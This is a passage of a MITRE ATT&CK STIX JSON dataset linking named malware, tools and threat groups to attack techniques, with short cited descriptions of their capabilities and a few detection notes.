association.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d06a9f1-fc35-4f35-a628-3515b0686747","type":"relationship","created":"2020-01-31T12:42:44.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:42:44.324Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d0b4507-b600-41f1-be98-03909e5d99cf","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.872Z","description":"[RTM](https://attack.mitre.org/software/S0148) can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d116456-322a-470c-a219-6d313f801b89","created":"2023-01-30T23:28:51.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:27:08.788Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has used HTTP for C2.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1314fe-7fd6-4816-abb8-4b9872478807","type":"relationship","created":"2020-05-12T21:56:32.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T21:56:32.904Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can use pre-configured HTTP proxies.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d1605a9-9a62-401d-af07-84b481bddb66","created":"2020-10-02T02:08:23.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Google TAG Ukraine Threat Landscape March 2022","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022.","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.404Z","description":"[APT28](https://attack.mitre.org/groups/G0007) registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.(Citation: FireEye APT28)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Google TAG Ukraine Threat Landscape March 2022)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1ae008-8b7f-4b64-8b05-2df3ef55f323","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1bf687-ad42-45e6-bd52-34c6a14accad","type":"relationship","created":"2020-12-09T18:59:51.482Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-09T19:01:19.622Z","description":"[Melcoz](https://attack.mitre.org/software/S0530) can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1cb122-5195-4d04-b5c9-85f4747886fa","type":"relationship","created":"2020-05-21T21:31:34.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Pony April 2016","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/","description":"hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}],"modified":"2020-06-15T21:31:38.170Z","description":"[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).(Citation: Malwarebytes Pony April 2016)","relationship_type":"uses","source_ref":"malware--222ba512-32d9-49ac-aefd-50ce981ce2ce","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1ccb3a-8292-42ba-a338-58a642ef3adb","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d1fe44d-a476-4553-b163-1e03890ae7b4","type":"relationship","created":"2020-11-17T19:32:21.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:00:08.135Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can identify the IP and port numbers for all remote connections from the compromised host.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto T9000 Feb 2016","description":"Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}],"modified":"2020-03-30T03:07:37.770Z","description":"[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.(Citation: Palo Alto T9000 Feb 2016)","relationship_type":"uses","source_ref":"malware--876f6a77-fbc5-4e13-ab1a-5611986730a3","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d2d9b59-a152-4280-ac57-ce5416cbbe61","type":"relationship","created":"2020-02-11T18:40:00.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:40:00.043Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.410Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can perform keylogging.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0d357a8d-c053-44f0-8777-0e8f8f7bc9a8","created":"2023-07-28T18:12:02.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:49:05.992Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized web shells and Java tools for tunneling capabilities to and from compromised assets.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d388cf6-adcd-4708-8203-cea7180340b0","type":"relationship","created":"2020-11-09T15:08:23.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:46:15.469Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to self delete.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d3bf2be-d9e2-480d-b64a-fea7e0bac12c","type":"relationship","created":"2021-04-06T12:22:23.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.764Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has communicated with C2 over HTTP.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Operation Groundbait","description":"Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"}],"modified":"2020-03-21T00:18:56.370Z","description":"[Prikormka](https://attack.mitre.org/software/S0113) encrypts some C2 traffic with the Blowfish cipher.(Citation: ESET Operation Groundbait)","relationship_type":"uses","source_ref":"malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d3e8130-8631-49b6-9154-d2a58b5468ea","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor for changes that may reveal indicators of malicious firmware such as strings. Also consider comparing components, including hashes of component firmware and behavior, against known good images.","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d3f773c-ed0e-4db4-8457-204a7a33eb58","type":"relationship","created":"2020-05-18T17:31:39.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.453Z","description":"[Maze](https://attack.mitre.org/software/S0449) has checked the language of the infected system using the \"GetUSerDefaultUILanguage\" function.(Citation: McAfee Maze March 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d40b95c-629c-46bf-bafc-2558a180fedc","type":"relationship","created":"2021-09-13T18:33:56.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"sentinelone apt32 macOS backdoor 2020","url":"https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/","description":"Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021."}],"modified":"2022-01-14T21:53:01.187Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has changed permissions of a second-stage payload to an executable via chmod.(Citation: sentinelone apt32 macOS backdoor 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d4145da-e755-465f-a6fe-057ce43c627d","type":"relationship","created":"2021-10-01T18:34:01.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2021-10-15T16:55:11.473Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has used Python scripts to execute payloads.(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d432cda-9684-4daa-a66f-c65ad90ff2b7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","source_name":"Proofpoint TA459 April 2017"}],"modified":"2019-03-25T17:00:47.416Z","description":"[TA459](https://attack.mitre.org/groups/G0062) has used a Gh0st variant known as PCrat/Gh0st.(Citation: Proofpoint TA459 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}],"modified":"2020-01-17T22:22:30.782Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.(Citation: ESET Sednit Part 1)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d4d42e9-0473-42fc-b018-c79b54c7a87f","type":"relationship","created":"2021-03-08T16:50:34.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.163Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can change the timestamp of specified filenames.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d4d7376-5bda-44bc-b90d-0a065bb99433","type":"relationship","created":"2019-06-24T17:08:51.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.473Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d4e8cb8-c265-449a-b010-f4614135572f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco H1N1 Part 2","description":"Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities – part 2. Retrieved September 26, 2016.","url":"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}],"modified":"2020-03-19T22:59:05.013Z","description":"[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.(Citation: Cisco H1N1 Part 2)","relationship_type":"uses","source_ref":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d51acf9-f8df-42e1-aef3-4c86cf5ab17a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.178Z","description":"(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0d557837-8936-43e7-95fd-2c30938d34d3","type":"relationship","created":"2020-05-05T17:07:33.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T17:07:33.350Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the Windows version on the compromised host.(Citation: Carbon Black HotCroissant April 